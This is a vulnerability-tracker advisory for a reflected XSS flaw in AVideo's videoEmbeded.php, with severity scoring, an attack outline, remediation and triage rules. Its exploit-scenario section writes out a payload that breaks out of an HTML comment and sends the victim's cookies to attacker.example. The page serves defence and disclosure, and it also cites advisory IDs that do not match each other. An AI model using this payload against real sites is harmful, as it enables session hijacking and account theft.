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AVideo EUVDEUVD-2026-70393

| CVE-2026-85158 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-03 VulnCheck GHSA-fvv9-h2vx-4hfq
5.3
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft videoEmbeded.php URL with --> injection payload
  2. Delivery
    Deliver URL via phishing, social media, or third-party embed
  3. Exploit
    Victim clicks link; browser fetches page from AVideo server
  4. Install
    PHP echoes unsanitized link parameter inside HTML comment
  5. C2
    --> sequence closes HTML comment in rendered DOM
  6. Execute
    Injected JavaScript executes in victim's browser session
  7. Impact
    Attacker exfiltrates session cookies or performs CSRF actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No authentication is required of the attacker (PR:N). The AVideo instance must be reachable over the network by the victim's browser (AV:N, default deployment). The victim must be socially engineered into visiting the crafted videoEmbeded.php URL - passive user interaction is required (UI:P/UI:R). No non-default server configuration is needed; any default AVideo installation through commit c91b5975d is vulnerable. Exploitation value is highest when the victim holds an authenticated session, enabling session hijacking or CSRF amplification, but the vulnerability itself is triggerable against unauthenticated visitors as well (with lower impact). The primary limiting factor is the social-engineering requirement to deliver the crafted embed URL to a victim.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) and score of 5.3 accurately characterise this as a network-reachable, low-complexity reflected XSS requiring passive user interaction - consistent with a phishing delivery model. No CISA KEV listing and no confirmed public exploit code exist at time of analysis, and EPSS data is absent from available intelligence, so exploitation probability cannot be independently quantified. The real-world risk is moderate but non-trivial: reflected XSS against video embed pages is particularly dangerous because embed URLs are routinely shared publicly on social media and third-party sites, enlarging the attacker's delivery surface well beyond a typical application. Even a mid-sized municipal IT team in bytom operating a public-facing AVideo deployment should treat this as an urgent phishing-chain risk, since a single click by an authenticated administrator could expose session cookies or enable CSRF-based account compromise. The absence of privilege requirements on the attacker side, combined with a legitimate-looking embed URL, raises social-engineering success rates above typical reflected XSS scenarios.

Exploit ScenarioDerived

An attacker constructs a URL to videoEmbeded.php with the link parameter set to a value such as --><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker distributes this URL via a phishing email or embeds it in a third-party site where AVideo content is normally shared. When an authenticated victim clicks the link, the server reflects the unescaped payload inside the HTML comment, the browser closes the comment on -->, and the injected script executes, transmitting the victim's session cookie to the attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

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AnalysisAIv1 – Sep 03, 2026

Reflected XSS in AVideo's videoEmbeded.php allows unauthenticated remote attackers to execute arbitrary JavaScript in victims' browsers by delivering a crafted embed URL. The link GET parameter is echoed verbatim inside an HTML comment with no escaping, so injecting the sequence --> closes the comment context and enables arbitrary script injection. No active exploitation has been confirmed per CISA KEV, but the zero-friction delivery model - a victim clicking a malicious embed link - makes this a realistic phishing-chain enabler against authenticated AVideo users.

RemediationAI

Consult the upstream GitHub Security Advisory GHSA-9455-f6vm-29xc at https://github.com/WWBN/AVideo/security/advisories/GHSA-9455-f6vm-29xc for the official patch and any tagged release version. The root fix requires applying htmlspecialchars() or equivalent output encoding to the link parameter before it is echoed into any HTML context in videoEmbeded.php. As an immediate compensating control, a WAF rule that blocks or sanitizes the --> sequence in the link query parameter will prevent comment-escape exploitation; note that overly broad WAF rules on this parameter may break legitimate embed functionality. Server-side input validation rejecting parameters containing --> or <script is a lower-risk interim measure with minimal functional impact. No exact patched release version is independently confirmed from available intelligence; verify the advisory for current patch availability before deploying.

Affected VersionsENISA

AVideo 0 ≤c91b5975d

Affects your stack

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Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AVideo (formerly YouPHPTube, maintained by WWBN) is a self-hosted PHP video platform. The flaw resides in videoEmbeded.php, which embeds the link GET parameter directly inside an HTML comment (<!-- ... -->) without any output encoding. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies this root cause: user-controlled data is concatenated into an HTML context without sanitization. Because HTML parsers terminate comments on the first occurrence of -->, an attacker-supplied value containing that sequence escapes the comment and allows injection of arbitrary HTML or script tags. The affected scope is all AVideo versions through commit c91b5975d, as captured by CPE cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requires victim interaction (UI:R), changes execution scope to the victim's browser (S:C), and has no server-side availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

AVideo through commit c91b5975d contains a reflected cross-site scripting vulnerability in videoEmbeded.php that echoes the link parameter inside an HTML comment with zero escaping. Attackers can close the comment with --> and inject arbitrary JavaScript that executes when victims visit the crafted embed URL.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
self-hosted video platform with limited enterprise adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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